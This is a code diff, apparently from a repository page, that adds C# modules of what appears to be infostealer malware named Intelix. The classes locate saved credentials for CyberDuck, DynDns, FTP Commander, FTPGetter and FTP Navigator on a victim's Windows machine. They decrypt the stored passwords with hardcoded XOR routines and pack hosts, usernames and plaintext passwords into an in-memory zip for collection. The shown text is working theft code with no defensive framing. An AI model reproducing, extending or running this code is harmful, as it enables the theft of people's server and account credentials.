||||
cryptoStream.FlushFinalBlock();
|
||||
return Encoding.UTF8.GetString(memoryStream.ToArray());
|
||||
}
|
||||
|
||||
private static byte[] HexToBytes(string hex)
|
||||
{
|
||||
int num = hex.Length / 2;
|
||||
byte[] array = new byte[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class CyberDuck : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "CyberDuck";
|
||||
string[] files = Directory.GetFiles(path);
|
||||
foreach (string text in files)
|
||||
{
|
||||
if (text.EndsWith(".cyberduckprofile"))
|
||||
{
|
||||
string text2 = "FTP/CyberDuck/" + Path.GetFileName(text);
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
}
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class DynDns : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string[] array = File.ReadAllLines(text);
|
||||
if (array.Length != 0)
|
||||
{
|
||||
string text2 = "Dyn\\Passwords.txt";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Dyn";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string DecryptDynDns(string encrypted)
|
||||
{
|
||||
string text = string.Empty;
|
||||
for (int i = 0; i < encrypted.Length; i += 2)
|
||||
{
|
||||
text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber);
|
||||
}
|
||||
char[] array = text.ToCharArray();
|
||||
char[] array2 = new char[text.Length];
|
||||
for (int j = 0; j < array2.Length; j++)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = 0;
|
||||
array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1)));
|
||||
num = (num + 1) % 8;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPCommander : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string[] obj = new string[5]
|
||||
{
|
||||
"C:\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt",
|
||||
"C:\\Program Files (x86)\\FTP Commander\\Ftplist.txt",
|
||||
"C:\\cftp\\Ftplist.txt",
|
||||
"C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt",
|
||||
"C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt"
|
||||
};
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTPCommander"
|
||||
};
|
||||
List<string> list = new List<string>();
|
||||
string[] array = obj;
|
||||
foreach (string text in array)
|
||||
{
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array2 = File.ReadAllLines(text);
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array3 = text2.Split(';');
|
||||
if (array3.Length >= 6)
|
||||
{
|
||||
string text3 = array3[1].Split('=')[1];
|
||||
string text4 = array3[2].Split('=')[1];
|
||||
string input = array3[3].Split('=')[1];
|
||||
string text5 = array3[4].Split('=')[1];
|
||||
if (!(array3[5].Split('=')[1] != "0"))
|
||||
{
|
||||
string text6 = Xor.DecryptString(input, 25);
|
||||
list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n");
|
||||
string text7 = "FTP/FTPCommander/Hosts.txt";
|
||||
counterApplications.Files.Add(text + " => " + text7);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string text8 = "FTP/FTPCommander/Hosts.txt";
|
||||
zip.AddFile(text8, Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add(text8 ?? "");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPGetter : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml";
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string input = File.ReadAllText(text, Encoding.UTF8);
|
||||
Regex regex = new Regex("<server\\b[^>]*>(.*?)</server>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex2 = new Regex("<server_ip>\\s*(?<v>.*?)\\s*</server_ip>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex3 = new Regex("<server_port>\\s*(?<v>\\d+)\\s*</server_port>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex4 = new Regex("<server_user_name>\\s*(?<v>.*?)\\s*</server_user_name>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex5 = new Regex("<server_user_password>\\s*(?<v>.*?)\\s*</server_user_password>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
List<string> list = new List<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTPGetter"
|
||||
};
|
||||
foreach (Match item in regex.Matches(input))
|
||||
{
|
||||
string value = item.Groups[1].Value;
|
||||
Match match = regex2.Match(value);
|
||||
if (match.Success)
|
||||
{
|
||||
string text2 = match.Groups["v"].Value.Trim();
|
||||
Match match2 = regex3.Match(value);
|
||||
string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21");
|
||||
Match match3 = regex4.Match(value);
|
||||
string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : "");
|
||||
Match match4 = regex5.Match(value);
|
||||
string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : "");
|
||||
list.Add("Url: " + text2 + ":" + (string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n");
|
||||
counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt");
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPNavigator : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\FTP Navigator\\Ftplist.txt";
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] array = File.ReadAllLines(text);
|
||||
List<string> list = new List<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTP Navigator"
|
||||
};
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
string[] array3 = text2.Split(';');
|
||||
string text3 = array3[1].Split('=')[1];
|
||||
string text4 = array3[2].Split('=')[1];
|
||||
string input = array3[3].Split('=')[1];
|
||||
string text5 = array3[4].Split('=')[1];
|
||||
if (!(array3[5].Split('=')[1] != "0"))
|
||||
{
|
||||
string text6 = Xor.DecryptString(input, 25);
|
||||
list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n");
|
||||
counterApplications.Files.Add(text + " => FTP/FTPNavigator/Hosts.txt");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string text7 = "FTP/FTPNavigator/Hosts.txt";
|
||||
zip.AddFile(text7, Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add(text7);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user